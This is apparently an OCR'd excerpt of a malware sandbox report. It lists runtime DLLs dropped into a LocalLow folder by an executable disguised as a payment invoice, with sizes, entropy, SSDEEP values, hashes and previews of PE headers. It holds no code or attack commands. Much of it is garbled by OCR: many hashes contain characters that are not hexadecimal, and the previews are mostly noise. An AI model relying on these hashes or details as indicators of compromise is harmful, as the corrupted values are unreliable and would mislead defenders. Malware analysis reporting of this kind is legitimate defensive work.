8AA2155C3D3D5AA23F56CD0OBC507255FC953CCC3
C4F60F911068AB6D7F578D449BA7B5B9969F08FC683FDOCESE2705BBF061F507

6E7B134CA930BB33D2822677F31ECA1CB6C1DFF55211296324D2EA9EBDC7C01338F07D22A10C5C5E1179F14B1B5A4E3BOBAFB1C8D39FCF1107C57F9EAF063A
B

false

MZ.ooiiiii @i 1..L.IThis program cannot be run in DOS mode....$........ m....e..e..e.ne..e.na..e..n...e.ng...e.Rich.e.PE..L... .............. L.

win-core-namedpipe-|1-1-0.dll. ConnectNamedPipe.kernel32.ConnectNamedPipe.CreateNamedP

C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\api-ms-win-core-processenvironment-I1-1-0.dll

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

19248

7.073730829887072

false
192:wXjWIghWGd4dsNtL/1230uo+Uggs/nGfe4pBjSXcYddWhOtxKdmVWQ4SW04engo5:MjWPhWHsnhi00GftpBjW7emOj5I1z6hP
5F73A814936C8E7E4A2DFD68876143C8

D960016C4F553E461AFB5B06B039A15D2E76135E
96898930FFB338DA45497BE019AEIADCD63C5851141169D3023E53CE4C7A483E

77987906A9D248448FA23DB2A634869B47AE3EC81EA383A74634A8C09244C674ECFOAADCDE298E5996CAFBB8522EDE78D08AAA270FD43C66BEDE24115CDBD
ED

false

MZ.ooiiiiiiin, @i 1..L.IThis program cannot be run in DOS mode....$........ m....e..e..e.ne..e.na..e.n...e.ng...e.Rich.e.PE..L..).r............ L.

. RSDS.6..~x. ...api-ms-win-core-processenvironment-|1-1-0.pdb
rsrc$02 ........ ) SRR [ B $.Mo o P 6. Koo Lo(o€one,

C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\api-ms-win-core-processthreads-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

19392

7.082421046253008

false

384:afk1JzNcKSIIWPhW2snhi00GftpBjZgcLvemr4PIgC:RcKST+nhoi/BbeGv
A2D7D7711F9COE3E065B2929FF342666

Al17B1F36E73B82EF9BFB831058F187535A550EB8
9DAB884071B1F7D7A167F9BEC94BA2BEE875E3365603FA29B31DE286C6A97A1D

D436B2192C4392A041E20506B2DFB593FE5797F1FDC2CDEB2D7958832C4C0A9E00D3AEAGAAL737D8A9773817FEADFA7EE826A6B05FD75ABOBDAEY84895C2C4
EF

false

MZ..ooiiiiiis @.cooiviii e 1..L.IThis program cannot be run in DOS mode....$........ m....e..e..e.ne..e.na...e..n...e.ng...e.Rich..e. PE.L............... [

api-ms-win-core-processthreads-11-1-0.pdb...
. rsrc$02 ............................ 1...1...( ........... KXo T [GFs ISR N lofn
............. 9..S...Peee

ta.T.... rdata$zzzdbg...
e {200 « TR ,...Co.
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C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\api-ms-win-core-processthreads-11-1-1.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

18744

7.1156948849491055

false

384:xzADfleRWPhWKEIiO0GftpBjjlemMVIVNOM:xzfeWeoillep
D0289835D97D103BADODD7B9637538A1

8CEEBE1E9ABB0044808122557DE8BAAB28AD14575
91EEB842973495DEB98CEF0377240D2F9C3D370AC4CF513FD215857E9F265A6A

97C47B2E1BFD45B905F51A282683434ED784BFB334B908BF5A47285F90201A23817FF91E21EAOBICASF6EEGBGIACAC252EECS55D895F942A94EDD88CABFD2DAI
D

false

MZ.ooiiiiiiiies @ oo I..L.IThis program cannot be run in DOS mode....$........ m....e...e..e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...9........... L.

C:\Users\luser\AppDatal\LocalLow\aD1rF3aM8r\api-ms-win-core-profile-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

17712

7.187691342157284

false
192:w9WIghWGdUuDz7M1230uo0+Uggs/nGfe4pBjSXrw58h6WhOtxKdmVWQ4SW7QQtzko:w9OWPhWY Dz6i00GftpBjXPemD5I1z6hv
FEE0926AA1BFO0F2BEC9DA5DB7B2DES6

F5A4EB3D8ACBFB68AF716857629A43CD6BE63473
8EB5270FA99069709C846DB38BE743A1A80A42AA1A88776131F79E1D07CC411C

0958759A1C4A4126FB0AASCDDIODFOE18504198AEC6828C8CESEB5F615AD33BF7EF0231B509ED6FD1304EEAB32878C5A649881901ABD26D05SFD686F5EBEF2D1
3

false

1..L.IThis program cannot be run in DOS mode....$ m....e..e..e.ne..e.na..e.n...e.ng...e.Rich..e.PE..L...&

...RSDS...0."#.n....D:....api-ms-win-core-profile-11-1-0.pdb.......... T...rdata..T.......
.rdata$zzzdbg. . . . . & (...0...8..w. ..api-ms-win-core-profile-11-1-0.dIl.QueryPerformanceCounte
r.kernel32.QueryPerformanceCounter.QueryPerformanceFrequency.kernel32.QueryPerformanceFrequency...................

C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\api-ms-win-core-rtisupport-11-1-0.dil

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

17720

7.19694878324007

false

384:61G1WPhWksnhiO0GftpBjEVXremWRIP55Jk:kGiYnhoigVXreDT5Y
FDBAODBOA1652D86CD471EAAS509E56EA

3197CB45787D47BAC80223E3E98851E48A122EFA
2257FEA1E71F7058439B3727ED68EF048BD91DCACD64762EB5C64A9D49DFOB57
E5056D2BD34DC74FC5F35EA7AA8189AAAB6569904B0013A7830314AE0E2763E95483FABDCBA93F6418FB447A4A74ABOF07712ED23F2E1B840E47A099B1EGSEL!

false
MZ.. 1..L.IThis program cannot be run in DOS mode....$ m....e..e..e..ne..e.na...e..n....e.ng...e.Rich..e.PE..L
= ..text.
.rsre. T ..api-ms-win-core-rtlsupport-11-1-0.pdb.......... T...rdata..T........ r
data$zzzdbg rSre$02..ccevivcinne G SR (b @~ | R api-ms-win-core-rtisupport-11-1-0.dll.RtICaptureCont

ext.ntdll.RtICaptureContext.RtlCaptureStackBackTrace.ntdll.RtiCaptureStackBackTrace.RtlUnwind.ntdIl.RtlUnwind.

C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\api-ms-win-core-string-11-1-0.dll

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

18232

7.137724132900032

false

384:xyMVRWPhWFs0i00GftpBjwCJdemnflUG+zl4:xyMvWWoibeTnn
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C:\Users\user\AppData\LocalLow\aD1rF3aM8r\api-ms-win-core-string-11-1-0.dll

MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

12CC7D8017023EF04EBDD28EF9558305
F859A66009D1CAAE88BF36B569B63E1FBDAEY493
7670FDEDE524A485C13B11A7C878015E9B0D441B7D8EB15CAG675AD6BOCOAT311

F62303D98EA7DODDBE78E4AB4DB31AC283C3A6F56DBESE3640CBCF8C06353A37776BF914CFES7BBB77FC94CCFA48FACO6E74E27A4333FBDD112554C646838
29

false

m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L

..... rdata$zzzdbg............ . ) 00X . ....api-ms-win-core-
string-11-1-0.dIl.Compal

C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\api-ms-win-core-synch-I1-1-0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

20280

7.04640581473745

false

384:5Xdv3V0dfpkXcOvVaHWPhWXEiIO0GftpBj9em+4IndanJ70:5Xdv3VapkXcOvVa8poivex
71AF7ED2A72267AAAD8564524903CFF6

8A8437123DE5A22AB843ADC24A01AC06F48DB0OD3
5DD4CCD63E6GEDO7CA3987AB5634CA4207D69C47C2544DFEFC41935617652820F

7EC2EOFEBC89263925C0352A2DE8CC13DA37172555C3AF9869F9DBB3D627DD1382D2ED3FDADY0594B3E3B0733F2D3CFDECA45BC713A4B7E85A09C164C3DFAL
75

false

MZ..... .@.. L.IThis program cannot be run in DOS mode....$.......m....e...e..e..ne...e.na...e..n....e..ng...e.Rich..e.PE..L...... .

...RSDS...z..C...+Q_.....api-ms-win-core-synch-1-1-0.pdb.
Do)l Peovees LCoveircieins LR Mo B X $..[.

C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\api-ms-win-core-synch-I1-2-0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

18744

7.138910839042951

false

384:3tZ3gWPhWFAQiI00GftpBj4Z8wemFfYIP55t:j+0iVweb53
0D1AA99ED8069BA73CFD74BOFDDC7B3A

BA1F5384072DF8AF5743F81FD02C98773B5ED147
30D99CE1D732F6C9CF82671E1D9088AA94E720382066B79175E2D16778A3DAD1

6B1A87B1C223B757E5A39486BEGOF7DD2956BB505A235DF406BCF693C7DD440E1F6D65FFEF7FDE491371C682F4A8BB3FDACESDSE09AG6992BB131ADDF11EF2E
F9

false

XYL

..rdata$zzzdbg.......v....edata.
LA

C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\api-ms-win-core-sysinfo-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

19248

7.072555805949365

false

384:2q25WPhWWSsnhi0O0GftpBjlu6gXxem4l1z6hi:25+SnhoiG6leA8
19A40AF040BD7ADD901AA967600259D9

05B6322979B0B67526 AE5CD6E820596CBE7393E4
4B704B36E1672AE02E697EFD1BF46F11B42D776550BA34A90CD189F6C5C61F92
5CC4D55350A808620A7E8A993A90E7D05B441DA24127A00B15F96AAE902E4538CA4FEDS5628D7072358E14681543FD750AD49877B75E790D201AB9BAFF6898C8L

false
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C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\api-ms-win-core-sysinfo-11-1-0.dll

Preview:

C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\api-ms-win-core-timezone-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

18224

7.17450177544266

false

384:SWPhWK3di00GftpBjH35Gvem2Al1z6hlu:77NoiOve7eu
BABF80608FD68A09656871EC8597296C

33952578924B0376CA4AE6A10B8D4ED749D10688
24C9AAOB70E557A49DAC159C825A013A71A190DF5E7A837BFA047A06BBAS9ECA
3FFFFD90800DE708D62978CA7B50FE9CE1E47839CDAL1EDIE7723ACEC7AB5829FA901595868E4AB029CDFB12137CF8ECD7B685953330D0900F741C894B88257

false

JE
..RSDS.Mb. .t.H.a.......api-ms-win-core-timezone-|1-1-0.pdb..
ata..T........ rdata$zzzdbg. T...rsrc$01... ..rsrc$02. LY. O GO O « TP 5...s ........... Fodioii Ui S

ms-win-core-timezone-|1-1-0.dll. F|IeT|meTOSystemT|me kernel32. F|IeT|meToSystemT|me GetDynamicTimeZ

C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\api-ms-win-core-util-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

18232

7.1007227686954275

false

192:pePWIghWG4U9wluZ01230uo+Uggs/nGfe4pBjSbhKT8wuxWhOtxKdmVWQACWnFnwQ:pY WPhWFS0i00GftpBj7DudemJIP552
0F079489ABD2B16751CEB7447512A70D

679DD712ED1C46FBD9BC8615598DA585D94D5D87
F7D450A0F59151BCEFB98D20FCAE35F76029DF57138002DB5651D1B6A33ADC86
92D64299EBDE83A4D7BE36F07F65DD868DA2765EB3B39F5128321AFF66ABD66171C7542E06272CB958901D403CCF69ED716259E0556EE983D2973FAA03C55D3

false

@i 1..L.IThis program cannot be run in DOS mode....$........ m....e..e..e.ne..e.na..e.n...e.ng...e.Rich.e.PE.L...f....... L.
9.. SN T e
rsre. RSDS*...$.L.Rm..I.....api-ms-win-core-util-11-1-0.pdb..
data$zzzdbg....... 9...edata... .."...rsrc$01...." ....... rsre$02......... oo @00 oo, api-ms-win-core-util-11-1- 0 dil.Beep. kemel32 Beep
.DecodePointer.kernel32.DecodePointer.DecodeSystemPointer.kernel32.DecodeSystemPointer.EncodePointer.kernel3

C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\api-ms-win-crt-conio-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

19256

7.088693688879585

false

384:8WPhWz4Ri00GftpBjDb7bemHIndanJ7DW:FmO0oiV7beV
6EA692F862BDEB446E649E4B2893E36F

84FCEAEO03D28FF1907048ACEE7EAE7E45BAAF2BD
9CA21763C528584BDBAEFEBE914FAAF792C9D7360677C87E93BD7BA7BB4367F2
9661C135F50000E0018B3E5C119515CFE977B2F5F88B0OF5715E29DF10517B196C81694D074398C99A572A971EC843B3676D6A831714AB632645ED25959D5E3E7

false

I..L.IThis program cannot be run in DOS mode....$.......m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L

C:\Users\user\AppData\LocalLow\aD1rF3aM8r\api-ms-win-crt-convert-11-1-0.dll

Process:

File Type:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
PE32 executable (DLL) (console) Intel 80386, for MS Windows
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C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\api-ms-win-crt-convert-11-1-0.dll

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

dropped

22328

6.929204936143068

false

384:EuydWPhW7snhi00GftpBjd6t/emJIDbN:3tnhoi6t/eAp

72E28C902CD947F9A3425B19AC5A64BD

9B97F7A43D43CBOF1B87FC75FEF7DIEEEALLEGF7

3CC1377D495260C380E8D225E5EE889CBB2ED22E79862D4278CFA898E58E44D1
58AB6FEDCE2F8EE0970894273886CB20B10D92979B21CDA97AE0C41D0676CCOCD90691C58B223BCESF338E0718D1716E6CES59A106901FE9706F85C3ACF7855F

false

C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\api-ms-win-crt-environment-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

18736

7.078409479204304

false
192:bWIghWGd4edXe1230uo+Uggs/nGfedpBjSXXmv5WhOtxKdmVWQ4SWEApkgnajPBZ:bWPhWqXYi00GftpBjBemPI1z6h2
AC290DAD7CB4CA2D93516580452EDALC

FA949453557D0049D723F9615E4F390010520EDA
C0D75D1887C32A1B1006B3CFFC29DF84A0D73C435CDCB404B6964BE176A61382

B5E2B9F5A9DD8A482169C7FCO5F018ADBFEGAE27CB6540E67679272698BFCA24B2CA5A377FA61897F328B3DEAC10237CAFBD73BC965BF9055765923ABA9478F
8

false

1..L.IThis program cannot be run in DOS mode....$

m....e...e..e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L

api-ms-win-crt-environment-11-1-0.pdb
3..0..L

.rdata$zzzdbg
............... ) Foai

C:\Users\user\AppData\LocalLow\aD1rF3aM8r\api-ms-win-crt-filesystem-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

20280

7.085387497246545

false

384:506nWm5C1WPhWFKO0i00GftpBjB1UemKklUG+zIOd/:x6nWm5CiooiKeZnbd/
AEC2268601470050E62CB8066DD41A59

363ED259905442C4E3B89901BFD8A43B96BF25E4
7633774EFFE7COADD6752FFE90104D633FC8262C87871D096C2FC07C20018ED2
0C14D160BFA3AC52C35FF2F2813B85F8212C5F3AFBCFE71A60CCC2BIE61ES51736F0BF37CA1F9975B28968790EA62ED5924FAE4654182F67114BD20D8466C4B8

false

1..L.IThis program cannot be run in DOS mode....$

m....e..e..e.ne..e.na..e..n...e.ng..e.Rich..e.PE..L

h.. .
rsrc$01...."

C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\api-ms-win-crt-heap-11-1-0.dll

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

19256

7.060393359865728

false
192:+Y3vY17aFBR4WIghWG4U9CedXe1230uo+Uggs/nGfe4pBjShGGAPWhOxKdmVWQC:+Y3e9WPhWFsXYi00GftpBjfemnlP55s
93D3DA06BF894F4FA21007BEEO6B5E7D

1E47230A7EBCFAF643087A1929A385E0D554AD15
F5CF623BA14B017AF4AEC6C15EEE446C647AB6D2ASDEEID6975ADC69994A113D
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C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\api-ms-win-crt-heap-11-1-0.dll

SHA-512: 72BD6D46A464DE74A8DACA4C346C52D068116910587B1C7B97978DF888925216958CE77BE1AE049C3DCCF5BF3FFFB21BC41A0AC329622BCIBBC190DF63ABB2!
C6

Malicious: false

Preview:

m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..J.0 ....

...api-ms-win-crt-heap-11-1-0.pdb..
JlVy <...C

C:\Users\luser\AppDatal\LocalLow\aD1rF3aM8r\api-ms-win-crt-locale-11-1-0.dll

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18744

Entropy (8bit):  7.13172731865352

Encrypted: false

SSDEEP: 192:fiWlghWGZirX+4z1230uo+Uggs/nGfe4pBjS/RFcpOWhOtxKdmVWQ4GWs8yIDikh:aWPhWjO4Ri00GftpBjZOemSXIVNQO

MD5: A2F2258C32E3BA9ABFIE9E38EF7DABCY

SHA1L: 116846CA871114B7C54148AB2D968F364DA6142F

SHA-256: 565A2EEC5449EEEED68B430F2E9B92507F979174F9C9A71D0C36D58B96051C33

SHA-512: E98CBC8D958E604EFFA614A3964B3D66B6FC646BDCA9AAG7IEASE4EBI2EC0497B91485A40742F3471FAFF10DE83122331699EDC56A50F06AE86F21FAD70953F
E

Malicious: false

Preview:

........ 1..L.IThis program cannot be run in DOS mode....$.......m....e...e...e..ne...e..na...e..n...e..ng...e.Rich..e.PE..L...|..O....

................................................................... EXE. . Unine
..$k....api-ms-win-crt-locale-11-1-0.pdb............ d
..rdata..d........ rdata$zzzdbg....... e....edata. LrSre$0L.... e fSICP02. e [ OB BN =S SNt $..D..b
...!...R .................. £SO SO O 9...X ...................
C:\Users\user\AppData\LocalLow\aD1rF3aM8r\api-ms-win-crt-math-11-1-0.dll
Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 28984
Entropy (8bit):  6.6686462438397
Encrypted: false
SSDEEP: 384:70TEmbM40e5grykflgTmLyWPhW30i00GftpBjAKemXIDbNI:dEMa5grxflnbRoiNeSp
MD5: 8BOBA750E7B15300482CE6C961A932F0
SHA1: 71A2F5D76D23E48CEF8F258EAADG63ES86CFCOEL9
SHA-256: BECE7BAB83A5D0OEC5C35F0841CBBF413E01AC878550FBDB34816ED55185DCFED
SHA-512: FB646CDCDB462A347ED843312418F037F3212B2481F3897A16C22446824149EE96EB4A4B47A903CA27B1FAD7A352605D4930DF73092C380E3D4D77CE4E972C5A
Malicious: false
Preview:
MZ.oiiiiiiiieieee@ e L ...e.ng..e.Rich.e.PE..L........c......... L.

data..d ........ rdata$zzzdbg L @.. X Qe 4o MG
R I L.ELol.L.!

C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\api-ms-win-crt-multibyte-11-1-0.dll

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 26424

Entropy (8bit):  6.712286643697659

Encrypted: false

SSDEEP: 384:kDy+Kr6aL.PmIHJI6/CpG3t2G3t4odXLSWPhWFY0i00GftpBjbnMxem8hzImTMILV:kDZKrZPmIHJI64GoiZMxe0V

MD5: 35FC66BD813D0F126883E695664E7B83

SHAL: 2FD63C18CC5DCADEFC7EA82F421050E668F68548

SHA-256: 66ABF3A1147751C95689F5BC6A259E55281EC3D06D3332DD0OBA464EFFA716735

SHA-512: 65F8397DE5C48D3DF8AD79BAF46C1D3A0761F727E918AE63612EA37D96ADF16CC76D70D454A599F37F9BA9BAE2E3BEBC845DF4C74FC1E1131720FDODCB881+4
1

Malicious: false

Preview:
MZ..oooiiiiis @ I..L.IThis program cannot be run in DOS mode....$........ m....e..e..e.ne..e.na...e..n...e.ng...e.Rich..e.PE..L..u"........... L.

.. api-ms-win-crt-multibyte-11-1-0.pdb.
JETS 8...X...x...;...‘ ....................... 1o T Wi “.L.g...
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C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\api-ms-win-crt-private-11-1-0.dll

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 73016

Entropy (8bit):  5.838702055399663

Encrypted: false

SSDEEP: 1536:VAHEGIVDe5c4bFE2Jy2cvxXWpD9d3334BkZnkPFZo6kt:Vc7De5c4bFE2Jy2cvxXWpD9d3334BkZj

MDS5: 9910A1BFDC41C5B39F6AF37F0A22AACD

SHA1L: A7FA76778556F34A5E7910C816C78835109E4050

SHA-256: 65DED8D2CE159B2F5569F55B2CAFOE2C90F3694BD88CBIDE790A15A49D8386B9

SHA-512: A9788D0OF8B3F61235EF4740724B4A0D8COD3CF51F851C367CC9779AB07F208864A7F1B4A44255E0DESE030D84B63B1BDB58F12C8C20455FF6AS5EF6207B31A91]
Malicious: false

Preview:

L.IThis program cannot be run in DOS mode....$ m....e...e..e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L

..RSDS.J..w/.8..bu..3.....api-ms-win-crt-private-11-1-0.pdb...........
d...rdata..d........ rdata$zzzdbg " . M 8..h#.5..>..2.7?2.._2..2.2.2.0.V@..@..@..@..+A.\A..
A A.A.B.LB..B..B..C.HC...C..C..C..C..D..HD...D...D...E..€E...E...E...F..1F..gF...F..F...G..BG..UG...G..

C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\api-ms-win-crt-process-11-1-0.dll

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 19256

Entropy (8bit): 7.076072254895036

Encrypted: false

SSDEEP: 192:aRQqjd7dWIghWG4U9kuDz7M1230uo+Uggs/nGfe4pBjSbAURWhHhOtxKdmVWQ4CW+6:aKcWPhWFkDz6i00GftpBjYemZIUG+zIU
MD5: 8D02DD4C29BD490E672D271700511371

SHA1L: F3035A756E2E963764912C6B432E74615AE07011

SHA-256: C03124BA691B187917BA79078C66E12CBF5387A3741203070BA23980AA471E8B

SHA-512: D44EF51D3AAF42681659FFFFF4DD1A1957EAF4AB8AB7BB798704102555DA127B9D7228580DCED4EOFCI8C5F4026B1BAB242808E72A76E09726B0AF839E384C3B
Malicious: false

Preview:

1..L.IThis program cannot be run in DOS mode....$ m....e..e..e.ne..e.na..e..n...e.ng...e.Rich..e.PE..L...L.h..

..RSDSZ\.qM..I....3.....api-ms-win-crt-process-11-1-0.pdb...

e XK & @.Y O * LBz
C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\api-ms-win-crt-runtime-11-1-0.dll
Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 22840
Entropy (8bit):  6.942029615075195
Encrypted: false
SSDEEP: 384:7b7hrkwWPhWFIsnhiO0GftpBj+6em90ImTMilLzrF7:7bNrKxZnhoig6e QN7
MD5: 41A348F9BEDC8681FB30FA78E45EDB24
SHA1L: 66E76C0574A549F293323DD6F863A8A5B54F3F9B
SHA-256: C9BBC07A033BAB6A828ECC30648B501121586F6F53346B1CD0649D7B648EAG0B
SHA-512: 8C2CB53CCF9719DES7EE65ED2E1947E266EC7E8343246DEF6429C6DFODC514079F5171ACD1AAGB37276256C607F1063144494B992D4635B01E09DDEAGF5SEEF2C
Malicious: false
Preview:

e-11-1-0.pdb.
LE..g

.rdata$zzzdbg
&l Elf

C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\api-ms-win-crt-stdio-11-1-0.dll

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 24368

Entropy (8bit): 6.873960147000383

Encrypted: false

SSDEEP: 384:GZpFVhjWPhWXxEi00GftpBjmjjem3Cl1z6h1r:eCfoiOespbr

MD5: FEFB98394CB9EF4368DA798DEABOOE21

SHAL: 316D86926B558C9F3F6133739C1A8477BIE60740
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C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\api-ms-win-crt-stdio-11-1-0.dll

SHA-256: B1E702B840AEBE2E9244CD41512D158A43E6E9516CD2015A84EBI62FA3FFODF7

SHA-512: 57476FE9B546E4CAFB1EFAFD1CBD757385BA2D445D1785987AFB46298ACBE4B05266A0C4325868BC4245C2F41E7E2553585BFB5C70910E687F57DAC6ABEILLE
Malicious: false

Preview:

........ 1..L.IThis program cannot be run in DOS mode....$ m....e...e..e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L

j....api-ms-win-crt-stdio-11-1-0.pdb......... d....

...RSDS...iS#.hg.

............ <eYewvee)nhe e He ) DA
C:\Users\luser\AppDatal\LocalLow\aD1rF3aM8r\api-ms-win-crt-string-11-1-0.dll
Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 23488
Entropy (8bit):  6.840671293766487
Encrypted: false
SSDEEP: 384:5iFMx0C5yguNvZ5VQgx3SbwA7yMVIKFGINWPhWGTIO0GftpBjslem89IgC:56 S5yguNvZ5VQgx3SbwA711kFv5oialj
MD5: 404604CD100A1E60DFDAF6ECF5BA14C0O
SHA1L: 58469835AB4B916927B3CABF54AEE4F380FF6748
SHA-256: 73CC56F20268BFB329CCD891822E2E70DD70FE21FC7101DEB3FA30C34A08450C
SHA-512: DA024CCB50D4A2A5355B7712BA896DF850CEES7AA4ADA33AADOBAEG960BCD1ESE3CEE9488371AB6E19A2073508FBB3F0B257382713A31BC0947A4BF1F7A20E
E4
Malicious: false
Preview:

.GALb

